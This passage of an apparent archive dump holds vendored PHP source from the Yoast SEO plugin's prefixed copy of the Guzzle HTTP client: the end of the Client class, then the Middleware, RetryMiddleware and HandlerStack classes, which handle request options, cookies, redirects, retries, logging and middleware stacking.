     * @param array $options Request options to apply to the given
     *                       request and to the transfer. See \GuzzleHttp\RequestOptions.
     */
    public function sendAsync(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        // Merge the base URI into the request URI if needed.
        $options = $this->prepareDefaults($options);
        return $this->transfer($request->withUri($this->buildUri($request->getUri(), $options), $request->hasHeader('Host')), $options);
    }
    /**
     * Send an HTTP request.
     *
     * @param array $options Request options to apply to the given
     *                       request and to the transfer. See \GuzzleHttp\RequestOptions.
     *
     * @throws GuzzleException
     */
    public function send(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface
    {
        $options[\YoastSEO_Vendor\GuzzleHttp\RequestOptions::SYNCHRONOUS] = \true;
        return $this->sendAsync($request, $options)->wait();
    }
    /**
     * The HttpClient PSR (PSR-18) specify this method.
     *
     * {@inheritDoc}
     */
    public function sendRequest(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface
    {
        $options[\YoastSEO_Vendor\GuzzleHttp\RequestOptions::SYNCHRONOUS] = \true;
        $options[\YoastSEO_Vendor\GuzzleHttp\RequestOptions::ALLOW_REDIRECTS] = \false;
        $options[\YoastSEO_Vendor\GuzzleHttp\RequestOptions::HTTP_ERRORS] = \false;
        return $this->sendAsync($request, $options)->wait();
    }
    /**
     * Create and send an asynchronous HTTP request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string              $method  HTTP method
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply. See \GuzzleHttp\RequestOptions.
     */
    public function requestAsync(string $method, $uri = '', array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        $options = $this->prepareDefaults($options);
        // Remove request modifying parameter because it can be done up-front.
        $headers = $options['headers'] ?? [];
        $body = $options['body'] ?? null;
        $version = $options['version'] ?? '1.1';
        // Merge the URI into the base URI.
        $uri = $this->buildUri(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::uriFor($uri), $options);
        if (\is_array($body)) {
            throw $this->invalidBody();
        }
        $request = new \YoastSEO_Vendor\GuzzleHttp\Psr7\Request($method, $uri, $headers, $body, $version);
        // Remove the option so that they are not doubly-applied.
        unset($options['headers'], $options['body'], $options['version']);
        return $this->transfer($request, $options);
    }
    /**
     * Create and send an HTTP request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string              $method  HTTP method.
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply. See \GuzzleHttp\RequestOptions.
     *
     * @throws GuzzleException
     */
    public function request(string $method, $uri = '', array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface
    {
        $options[\YoastSEO_Vendor\GuzzleHttp\RequestOptions::SYNCHRONOUS] = \true;
        return $this->requestAsync($method, $uri, $options)->wait();
    }
    /**
     * Get a client configuration option.
     *
     * These options include default request options of the client, a "handler"
     * (if utilized by the concrete client), and a "base_uri" if utilized by
     * the concrete client.
     *
     * @param string|null $option The config option to retrieve.
     *
     * @return mixed
     *
     * @deprecated Client::getConfig will be removed in guzzlehttp/guzzle:8.0.
     */
    public function getConfig(string $option = null)
    {
        return $option === null ? $this->config : $this->config[$option] ?? null;
    }
    private function buildUri(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, array $config) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        if (isset($config['base_uri'])) {
            $uri = \YoastSEO_Vendor\GuzzleHttp\Psr7\UriResolver::resolve(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::uriFor($config['base_uri']), $uri);
        }
        if (isset($config['idn_conversion']) && $config['idn_conversion'] !== \false) {
            $idnOptions = $config['idn_conversion'] === \true ? \IDNA_DEFAULT : $config['idn_conversion'];
            $uri = \YoastSEO_Vendor\GuzzleHttp\Utils::idnUriConvert($uri, $idnOptions);
        }
        return $uri->getScheme() === '' && $uri->getHost() !== '' ? $uri->withScheme('http') : $uri;
    }
    /**
     * Configures the default options for a client.
     */
    private function configureDefaults(array $config) : void
    {
        $defaults = ['allow_redirects' => \YoastSEO_Vendor\GuzzleHttp\RedirectMiddleware::$defaultSettings, 'http_errors' => \true, 'decode_content' => \true, 'verify' => \true, 'cookies' => \false, 'idn_conversion' => \false];
        // Use the standard Linux HTTP_PROXY and HTTPS_PROXY if set.
        // We can only trust the HTTP_PROXY environment variable in a CLI
        // process due to the fact that PHP has no reliable mechanism to
        // get environment variables that start with "HTTP_".
        if (\PHP_SAPI === 'cli' && ($proxy = \YoastSEO_Vendor\GuzzleHttp\Utils::getenv('HTTP_PROXY'))) {
            $defaults['proxy']['http'] = $proxy;
        }
        if ($proxy = \YoastSEO_Vendor\GuzzleHttp\Utils::getenv('HTTPS_PROXY')) {
            $defaults['proxy']['https'] = $proxy;
        }
        if ($noProxy = \YoastSEO_Vendor\GuzzleHttp\Utils::getenv('NO_PROXY')) {
            $cleanedNoProxy = \str_replace(' ', '', $noProxy);
            $defaults['proxy']['no'] = \explode(',', $cleanedNoProxy);
        }
        $this->config = $config + $defaults;
        if (!empty($config['cookies']) && $config['cookies'] === \true) {
            $this->config['cookies'] = new \YoastSEO_Vendor\GuzzleHttp\Cookie\CookieJar();
        }
        // Add the default user-agent header.
        if (!isset($this->config['headers'])) {
            $this->config['headers'] = ['User-Agent' => \YoastSEO_Vendor\GuzzleHttp\Utils::defaultUserAgent()];
        } else {
            // Add the User-Agent header if one was not already set.
            foreach (\array_keys($this->config['headers']) as $name) {
                if (\strtolower($name) === 'user-agent') {
                    return;
                }
            }
            $this->config['headers']['User-Agent'] = \YoastSEO_Vendor\GuzzleHttp\Utils::defaultUserAgent();
        }
    }
    /**
     * Merges default options into the array.
     *
     * @param array $options Options to modify by reference
     */
    private function prepareDefaults(array $options) : array
    {
        $defaults = $this->config;
        if (!empty($defaults['headers'])) {
            // Default headers are only added if they are not present.
            $defaults['_conditional'] = $defaults['headers'];
            unset($defaults['headers']);
        }
        // Special handling for headers is required as they are added as
        // conditional headers and as headers passed to a request ctor.
        if (\array_key_exists('headers', $options)) {
            // Allows default headers to be unset.
            if ($options['headers'] === null) {
                $defaults['_conditional'] = [];
                unset($options['headers']);
            } elseif (!\is_array($options['headers'])) {
                throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('headers must be an array');
            }
        }
        // Shallow merge defaults underneath options.
        $result = $options + $defaults;
        // Remove null values.
        foreach ($result as $k => $v) {
            if ($v === null) {
                unset($result[$k]);
            }
        }
        return $result;
    }
    /**
     * Transfers the given request and applies request options.
     *
     * The URI of the request is not modified and the request options are used
     * as-is without merging in default options.
     *
     * @param array $options See \GuzzleHttp\RequestOptions.
     */
    private function transfer(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        $request = $this->applyOptions($request, $options);
        /** @var HandlerStack $handler */
        $handler = $options['handler'];
        try {
            return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::promiseFor($handler($request, $options));
        } catch (\Exception $e) {
            return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($e);
        }
    }
    /**
     * Applies the array of request options to a request.
     */
    private function applyOptions(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array &$options) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface
    {
        $modify = ['set_headers' => []];
        if (isset($options['headers'])) {
            if (\array_keys($options['headers']) === \range(0, \count($options['headers']) - 1)) {
                throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('The headers array must have header name as keys.');
            }
            $modify['set_headers'] = $options['headers'];
            unset($options['headers']);
        }
        if (isset($options['form_params'])) {
            if (isset($options['multipart'])) {
                throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('You cannot use ' . 'form_params and multipart at the same time. Use the ' . 'form_params option if you want to send application/' . 'x-www-form-urlencoded requests, and the multipart ' . 'option to send multipart/form-data requests.');
            }
            $options['body'] = \http_build_query($options['form_params'], '', '&');
            unset($options['form_params']);
            // Ensure that we don't have the header in different case and set the new value.
            $options['_conditional'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::caselessRemove(['Content-Type'], $options['_conditional']);
            $options['_conditional']['Content-Type'] = 'application/x-www-form-urlencoded';
        }
        if (isset($options['multipart'])) {
            $options['body'] = new \YoastSEO_Vendor\GuzzleHttp\Psr7\MultipartStream($options['multipart']);
            unset($options['multipart']);
        }
        if (isset($options['json'])) {
            $options['body'] = \YoastSEO_Vendor\GuzzleHttp\Utils::jsonEncode($options['json']);
            unset($options['json']);
            // Ensure that we don't have the header in different case and set the new value.
            $options['_conditional'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::caselessRemove(['Content-Type'], $options['_conditional']);
            $options['_conditional']['Content-Type'] = 'application/json';
        }
        if (!empty($options['decode_content']) && $options['decode_content'] !== \true) {
            // Ensure that we don't have the header in different case and set the new value.
            $options['_conditional'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::caselessRemove(['Accept-Encoding'], $options['_conditional']);
            $modify['set_headers']['Accept-Encoding'] = $options['decode_content'];
        }
        if (isset($options['body'])) {
            if (\is_array($options['body'])) {
                throw $this->invalidBody();
            }
            $modify['body'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($options['body']);
            unset($options['body']);
        }
        if (!empty($options['auth']) && \is_array($options['auth'])) {
            $value = $options['auth'];
            $type = isset($value[2]) ? \strtolower($value[2]) : 'basic';
            switch ($type) {
                case 'basic':
                    // Ensure that we don't have the header in different case and set the new value.
                    $modify['set_headers'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::caselessRemove(['Authorization'], $modify['set_headers']);
                    $modify['set_headers']['Authorization'] = 'Basic ' . \base64_encode("{$value[0]}:{$value[1]}");
                    break;
                case 'digest':
                    // @todo: Do not rely on curl
                    $options['curl'][\CURLOPT_HTTPAUTH] = \CURLAUTH_DIGEST;
                    $options['curl'][\CURLOPT_USERPWD] = "{$value[0]}:{$value[1]}";
                    break;
                case 'ntlm':
                    $options['curl'][\CURLOPT_HTTPAUTH] = \CURLAUTH_NTLM;
                    $options['curl'][\CURLOPT_USERPWD] = "{$value[0]}:{$value[1]}";
                    break;
            }
        }
        if (isset($options['query'])) {
            $value = $options['query'];
            if (\is_array($value)) {
                $value = \http_build_query($value, '', '&', \PHP_QUERY_RFC3986);
            }
            if (!\is_string($value)) {
                throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('query must be a string or array');
            }
            $modify['query'] = $value;
            unset($options['query']);
        }
        // Ensure that sink is not an invalid value.
        if (isset($options['sink'])) {
            // TODO: Add more sink validation?
            if (\is_bool($options['sink'])) {
                throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('sink must not be a boolean');
            }
        }
        if (isset($options['version'])) {
            $modify['version'] = $options['version'];
        }
        $request = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::modifyRequest($request, $modify);
        if ($request->getBody() instanceof \YoastSEO_Vendor\GuzzleHttp\Psr7\MultipartStream) {
            // Use a multipart/form-data POST if a Content-Type is not set.
            // Ensure that we don't have the header in different case and set the new value.
            $options['_conditional'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::caselessRemove(['Content-Type'], $options['_conditional']);
            $options['_conditional']['Content-Type'] = 'multipart/form-data; boundary=' . $request->getBody()->getBoundary();
        }
        // Merge in conditional headers if they are not present.
        if (isset($options['_conditional'])) {
            // Build up the changes so it's in a single clone of the message.
            $modify = [];
            foreach ($options['_conditional'] as $k => $v) {
                if (!$request->hasHeader($k)) {
                    $modify['set_headers'][$k] = $v;
                }
            }
            $request = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::modifyRequest($request, $modify);
            // Don't pass this internal value along to middleware/handlers.
            unset($options['_conditional']);
        }
        return $request;
    }
    /**
     * Return an InvalidArgumentException with pre-set message.
     */
    private function invalidBody() : \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException
    {
        return new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('Passing in the "body" request ' . 'option as an array to send a request is not supported. ' . 'Please use the "form_params" request option to send a ' . 'application/x-www-form-urlencoded request, or the "multipart" ' . 'request option to send a multipart/form-data request.');
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Middleware.php000064400000026130147510273100021662 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

use YoastSEO_Vendor\GuzzleHttp\Cookie\CookieJarInterface;
use YoastSEO_Vendor\GuzzleHttp\Exception\RequestException;
use YoastSEO_Vendor\GuzzleHttp\Promise as P;
use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
use YoastSEO_Vendor\Psr\Log\LoggerInterface;
/**
 * Functions used to create and wrap handlers with handler middleware.
 */
final class Middleware
{
    /**
     * Middleware that adds cookies to requests.
     *
     * The options array must be set to a CookieJarInterface in order to use
     * cookies. This is typically handled for you by a client.
     *
     * @return callable Returns a function that accepts the next handler.
     */
    public static function cookies() : callable
    {
        return static function (callable $handler) : callable {
            return static function ($request, array $options) use($handler) {
                if (empty($options['cookies'])) {
                    return $handler($request, $options);
                } elseif (!$options['cookies'] instanceof \YoastSEO_Vendor\GuzzleHttp\Cookie\CookieJarInterface) {
                    throw new \InvalidArgumentException('cookies must be an instance of YoastSEO_Vendor\\GuzzleHttp\\Cookie\\CookieJarInterface');
                }
                $cookieJar = $options['cookies'];
                $request = $cookieJar->withCookieHeader($request);
                return $handler($request, $options)->then(static function (\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) use($cookieJar, $request) : ResponseInterface {
                    $cookieJar->extractCookies($request, $response);
                    return $response;
                });
            };
        };
    }
    /**
     * Middleware that throws exceptions for 4xx or 5xx responses when the
     * "http_errors" request option is set to true.
     *
     * @param BodySummarizerInterface|null $bodySummarizer The body summarizer to use in exception messages.
     *
     * @return callable(callable): callable Returns a function that accepts the next handler.
     */
    public static function httpErrors(\YoastSEO_Vendor\GuzzleHttp\BodySummarizerInterface $bodySummarizer = null) : callable
    {
        return static function (callable $handler) use($bodySummarizer) : callable {
            return static function ($request, array $options) use($handler, $bodySummarizer) {
                if (empty($options['http_errors'])) {
                    return $handler($request, $options);
                }
                return $handler($request, $options)->then(static function (\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) use($request, $bodySummarizer) {
                    $code = $response->getStatusCode();
                    if ($code < 400) {
                        return $response;
                    }
                    throw \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException::create($request, $response, null, [], $bodySummarizer);
                });
            };
        };
    }
    /**
     * Middleware that pushes history data to an ArrayAccess container.
     *
     * @param array|\ArrayAccess<int, array> $container Container to hold the history (by reference).
     *
     * @return callable(callable): callable Returns a function that accepts the next handler.
     *
     * @throws \InvalidArgumentException if container is not an array or ArrayAccess.
     */
    public static function history(&$container) : callable
    {
        if (!\is_array($container) && !$container instanceof \ArrayAccess) {
            throw new \InvalidArgumentException('history container must be an array or object implementing ArrayAccess');
        }
        return static function (callable $handler) use(&$container) : callable {
            return static function (\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) use($handler, &$container) {
                return $handler($request, $options)->then(static function ($value) use($request, &$container, $options) {
                    $container[] = ['request' => $request, 'response' => $value, 'error' => null, 'options' => $options];
                    return $value;
                }, static function ($reason) use($request, &$container, $options) {
                    $container[] = ['request' => $request, 'response' => null, 'error' => $reason, 'options' => $options];
                    return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($reason);
                });
            };
        };
    }
    /**
     * Middleware that invokes a callback before and after sending a request.
     *
     * The provided listener cannot modify or alter the response. It simply
     * "taps" into the chain to be notified before returning the promise. The
     * before listener accepts a request and options array, and the after
     * listener accepts a request, options array, and response promise.
     *
     * @param callable $before Function to invoke before forwarding the request.
     * @param callable $after  Function invoked after forwarding.
     *
     * @return callable Returns a function that accepts the next handler.
     */
    public static function tap(callable $before = null, callable $after = null) : callable
    {
        return static function (callable $handler) use($before, $after) : callable {
            return static function (\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) use($handler, $before, $after) {
                if ($before) {
                    $before($request, $options);
                }
                $response = $handler($request, $options);
                if ($after) {
                    $after($request, $options, $response);
                }
                return $response;
            };
        };
    }
    /**
     * Middleware that handles request redirects.
     *
     * @return callable Returns a function that accepts the next handler.
     */
    public static function redirect() : callable
    {
        return static function (callable $handler) : RedirectMiddleware {
            return new \YoastSEO_Vendor\GuzzleHttp\RedirectMiddleware($handler);
        };
    }
    /**
     * Middleware that retries requests based on the boolean result of
     * invoking the provided "decider" function.
     *
     * If no delay function is provided, a simple implementation of exponential
     * backoff will be utilized.
     *
     * @param callable $decider Function that accepts the number of retries,
     *                          a request, [response], and [exception] and
     *                          returns true if the request is to be retried.
     * @param callable $delay   Function that accepts the number of retries and
     *                          returns the number of milliseconds to delay.
     *
     * @return callable Returns a function that accepts the next handler.
     */
    public static function retry(callable $decider, callable $delay = null) : callable
    {
        return static function (callable $handler) use($decider, $delay) : RetryMiddleware {
            return new \YoastSEO_Vendor\GuzzleHttp\RetryMiddleware($decider, $handler, $delay);
        };
    }
    /**
     * Middleware that logs requests, responses, and errors using a message
     * formatter.
     *
     * @phpstan-param \Psr\Log\LogLevel::* $logLevel  Level at which to log requests.
     *
     * @param LoggerInterface                            $logger    Logs messages.
     * @param MessageFormatterInterface|MessageFormatter $formatter Formatter used to create message strings.
     * @param string                                     $logLevel  Level at which to log requests.
     *
     * @return callable Returns a function that accepts the next handler.
     */
    public static function log(\YoastSEO_Vendor\Psr\Log\LoggerInterface $logger, $formatter, string $logLevel = 'info') : callable
    {
        // To be compatible with Guzzle 7.1.x we need to allow users to pass a MessageFormatter
        if (!$formatter instanceof \YoastSEO_Vendor\GuzzleHttp\MessageFormatter && !$formatter instanceof \YoastSEO_Vendor\GuzzleHttp\MessageFormatterInterface) {
            throw new \LogicException(\sprintf('Argument 2 to %s::log() must be of type %s', self::class, \YoastSEO_Vendor\GuzzleHttp\MessageFormatterInterface::class));
        }
        return static function (callable $handler) use($logger, $formatter, $logLevel) : callable {
            return static function (\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options = []) use($handler, $logger, $formatter, $logLevel) {
                return $handler($request, $options)->then(static function ($response) use($logger, $request, $formatter, $logLevel) : ResponseInterface {
                    $message = $formatter->format($request, $response);
                    $logger->log($logLevel, $message);
                    return $response;
                }, static function ($reason) use($logger, $request, $formatter) : PromiseInterface {
                    $response = $reason instanceof \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException ? $reason->getResponse() : null;
                    $message = $formatter->format($request, $response, \YoastSEO_Vendor\GuzzleHttp\Promise\Create::exceptionFor($reason));
                    $logger->error($message);
                    return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($reason);
                });
            };
        };
    }
    /**
     * This middleware adds a default content-type if possible, a default
     * content-length or transfer-encoding header, and the expect header.
     */
    public static function prepareBody() : callable
    {
        return static function (callable $handler) : PrepareBodyMiddleware {
            return new \YoastSEO_Vendor\GuzzleHttp\PrepareBodyMiddleware($handler);
        };
    }
    /**
     * Middleware that applies a map function to the request before passing to
     * the next handler.
     *
     * @param callable $fn Function that accepts a RequestInterface and returns
     *                     a RequestInterface.
     */
    public static function mapRequest(callable $fn) : callable
    {
        return static function (callable $handler) use($fn) : callable {
            return static function (\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) use($handler, $fn) {
                return $handler($fn($request), $options);
            };
        };
    }
    /**
     * Middleware that applies a map function to the resolved promise's
     * response.
     *
     * @param callable $fn Function that accepts a ResponseInterface and
     *                     returns a ResponseInterface.
     */
    public static function mapResponse(callable $fn) : callable
    {
        return static function (callable $handler) use($fn) : callable {
            return static function (\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) use($handler, $fn) {
                return $handler($request, $options)->then($fn);
            };
        };
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/RetryMiddleware.php000064400000007241147510273100022712 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

use YoastSEO_Vendor\GuzzleHttp\Promise as P;
use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
/**
 * Middleware that retries requests based on the boolean result of
 * invoking the provided "decider" function.
 *
 * @final
 */
class RetryMiddleware
{
    /**
     * @var callable(RequestInterface, array): PromiseInterface
     */
    private $nextHandler;
    /**
     * @var callable
     */
    private $decider;
    /**
     * @var callable(int)
     */
    private $delay;
    /**
     * @param callable                                            $decider     Function that accepts the number of retries,
     *                                                                         a request, [response], and [exception] and
     *                                                                         returns true if the request is to be
     *                                                                         retried.
     * @param callable(RequestInterface, array): PromiseInterface $nextHandler Next handler to invoke.
     * @param (callable(int): int)|null                           $delay       Function that accepts the number of retries
     *                                                                         and returns the number of
     *                                                                         milliseconds to delay.
     */
    public function __construct(callable $decider, callable $nextHandler, callable $delay = null)
    {
        $this->decider = $decider;
        $this->nextHandler = $nextHandler;
        $this->delay = $delay ?: __CLASS__ . '::exponentialDelay';
    }
    /**
     * Default exponential backoff delay function.
     *
     * @return int milliseconds.
     */
    public static function exponentialDelay(int $retries) : int
    {
        return (int) 2 ** ($retries - 1) * 1000;
    }
    public function __invoke(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        if (!isset($options['retries'])) {
            $options['retries'] = 0;
        }
        $fn = $this->nextHandler;
        return $fn($request, $options)->then($this->onFulfilled($request, $options), $this->onRejected($request, $options));
    }
    /**
     * Execute fulfilled closure
     */
    private function onFulfilled(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : callable
    {
        return function ($value) use($request, $options) {
            if (!($this->decider)($options['retries'], $request, $value, null)) {
                return $value;
            }
            return $this->doRetry($request, $options, $value);
        };
    }
    /**
     * Execute rejected closure
     */
    private function onRejected(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $req, array $options) : callable
    {
        return function ($reason) use($req, $options) {
            if (!($this->decider)($options['retries'], $req, null, $reason)) {
                return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($reason);
            }
            return $this->doRetry($req, $options);
        };
    }
    private function doRetry(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        $options['delay'] = ($this->delay)(++$options['retries'], $response, $request);
        return $this($request, $options);
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/HandlerStack.php000064400000021246147510273100022153 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
/**
 * Creates a composed Guzzle handler function by stacking middlewares on top of
 * an HTTP handler function.
 *
 * @final
 */
class HandlerStack
{
    /**
     * @var (callable(RequestInterface, array): PromiseInterface)|null
     */
    private $handler;
    /**
     * @var array{(callable(callable(RequestInterface, array): PromiseInterface): callable), (string|null)}[]
     */
    private $stack = [];
    /**
     * @var (callable(RequestInterface, array): PromiseInterface)|null
     */
    private $cached;
    /**
     * Creates a default handler stack that can be used by clients.
     *
     * The returned handler will wrap the provided handler or use the most
     * appropriate default handler for your system. The returned HandlerStack has
     * support for cookies, redirects, HTTP error exceptions, and preparing a body
     * before sending.
     *
     * The returned handler stack can be passed to a client in the "handler"
     * option.
     *
     * @param (callable(RequestInterface, array): PromiseInterface)|null $handler HTTP handler function to use with the stack. If no
     *                                                                            handler is provided, the best handler for your
     *                                                                            system will be utilized.
     */
    public static function create(callable $handler = null) : self
    {
        $stack = new self($handler ?: \YoastSEO_Vendor\GuzzleHttp\Utils::chooseHandler());
        $stack->push(\YoastSEO_Vendor\GuzzleHttp\Middleware::httpErrors(), 'http_errors');
        $stack->push(\YoastSEO_Vendor\GuzzleHttp\Middleware::redirect(), 'allow_redirects');
        $stack->push(\YoastSEO_Vendor\GuzzleHttp\Middleware::cookies(), 'cookies');
        $stack->push(\YoastSEO_Vendor\GuzzleHttp\Middleware::prepareBody(), 'prepare_body');
        return $stack;
    }
    /**
     * @param (callable(RequestInterface, array): PromiseInterface)|null $handler Underlying HTTP handler.
     */
    public function __construct(callable $handler = null)
    {
        $this->handler = $handler;
    }
    /**
     * Invokes the handler stack as a composed handler
     *
     * @return ResponseInterface|PromiseInterface
     */
    public function __invoke(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options)
    {
        $handler = $this->resolve();
        return $handler($request, $options);
    }
    /**
     * Dumps a string representation of the stack.
     *
     * @return string
     */
    public function __toString()
    {
        $depth = 0;
        $stack = [];
        if ($this->handler !== null) {
            $stack[] = '0) Handler: ' . $this->debugCallable($this->handler);
        }
        $result = '';
        foreach (\array_reverse($this->stack) as $tuple) {
            ++$depth;
            $str = "{$depth}) Name: '{$tuple[1]}', ";
            $str .= 'Function: ' . $this->debugCallable($tuple[0]);
            $result = "> {$str}\n{$result}";
            $stack[] = $str;
        }
        foreach (\array_keys($stack) as $k) {
            $result .= "< {$stack[$k]}\n";
        }
        return $result;
    }
    /**
     * Set the HTTP handler that actually returns a promise.
     *
     * @param callable(RequestInterface, array): PromiseInterface $handler Accepts a request and array of options and
     *                                                                     returns a Promise.
     */
    public function setHandler(callable $handler) : void
    {
        $this->handler = $handler;
        $this->cached = null;
    }
    /**
     * Returns true if the builder has a handler.
     */
    public function hasHandler() : bool
    {
        return $this->handler !== null;
    }
    /**
     * Unshift a middleware to the bottom of the stack.
     *
     * @param callable(callable): callable $middleware Middleware function
     * @param string                       $name       Name to register for this middleware.
     */
    public function unshift(callable $middleware, string $name = null) : void
    {
        \array_unshift($this->stack, [$middleware, $name]);
        $this->cached = null;
    }
    /**
     * Push a middleware to the top of the stack.
     *
     * @param callable(callable): callable $middleware Middleware function
     * @param string                       $name       Name to register for this middleware.
     */
    public function push(callable $middleware, string $name = '') : void
    {
        $this->stack[] = [$middleware, $name];
        $this->cached = null;
    }
    /**
     * Add a middleware before another middleware by name.
     *
     * @param string                       $findName   Middleware to find
     * @param callable(callable): callable $middleware Middleware function
     * @param string                       $withName   Name to register for this middleware.
     */
    public function before(string $findName, callable $middleware, string $withName = '') : void
    {
        $this->splice($findName, $withName, $middleware, \true);
    }
    /**
     * Add a middleware after another middleware by name.
     *
     * @param string                       $findName   Middleware to find
     * @param callable(callable): callable $middleware Middleware function
     * @param string                       $withName   Name to register for this middleware.
     */
    public function after(string $findName, callable $middleware, string $withName = '') : void
    {
        $this->splice($findName, $withName, $middleware, \false);
    }
    /**
     * Remove a middleware by instance or name from the stack.
     *
     * @param callable|string $remove Middleware to remove by instance or name.
     */
    public function remove($remove) : void
    {
        if (!\is_string($remove) && !\is_callable($remove)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a callable or string to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }
        $this->cached = null;
        $idx = \is_callable($remove) ? 0 : 1;
        $this->stack = \array_values(\array_filter($this->stack, static function ($tuple) use($idx, $remove) {
            return $tuple[$idx] !== $remove;
        }));
    }
    /**
     * Compose the middleware and handler into a single callable function.
     *
     * @return callable(RequestInterface, array): PromiseInterface
     */
    public function resolve() : callable
    {
        if ($this->cached === null) {
            if (($prev = $this->handler) === null) {
                throw new \LogicException('No handler has been specified');
            }
            foreach (\array_reverse($this->stack) as $fn) {
                /** @var callable(RequestInterface, array): PromiseInterface $prev */
                $prev = $fn[0]($prev);
            }
            $this->cached = $prev;
        }
        return $this->cached;
    }
    private function findByName(string $name) : int
    {
        foreach ($this->stack as $k => $v) {
            if ($v[1] === $name) {
                return $k;
            }
        }
        throw new \InvalidArgumentException("Middleware not found: {$name}");
    }
    /**
     * Splices a function into the middleware list at a specific position.
     */
    private function splice(string $findName, string $withName, callable $middleware, bool $before) : void
    {
        $this->cached = null;
        $idx = $this->findByName($findName);
        $tuple = [$middleware, $withName];
        if ($before) {
            if ($idx === 0) {
                \array_unshift($this->stack, $tuple);
            } else {
                $replacement = [$tuple, $this->stack[$idx]];
                \array_splice($this->stack, $idx, 1, $replacement);
            }
        } elseif ($idx === \count($this->stack) - 1) {
            $this->stack[] = $tuple;
        } else {
            $replacement = [$this->stack[$idx], $tuple];
            \array_splice($this->stack, $idx, 1, $replacement);
        }
    }
    /**
     * Provides a debug string for a given callable.
     *
     * @param callable|string $fn Function to write as a string.
     */
    private function debugCallable($fn) : string
    {
        if (\is_string($fn)) {
            return "callable({$fn})";
        }
        if (\is_array($fn)) {
            return \is_string($fn[0]) ? "callable({$fn[0]}::{$fn[1]})" : "callable(['" . \get_class($fn[0]) . "', '{$fn[1]}'])";
        }
        /** @var object $fn */
        return 'callable(' . \spl_object_hash($fn) . ')';
    }
}
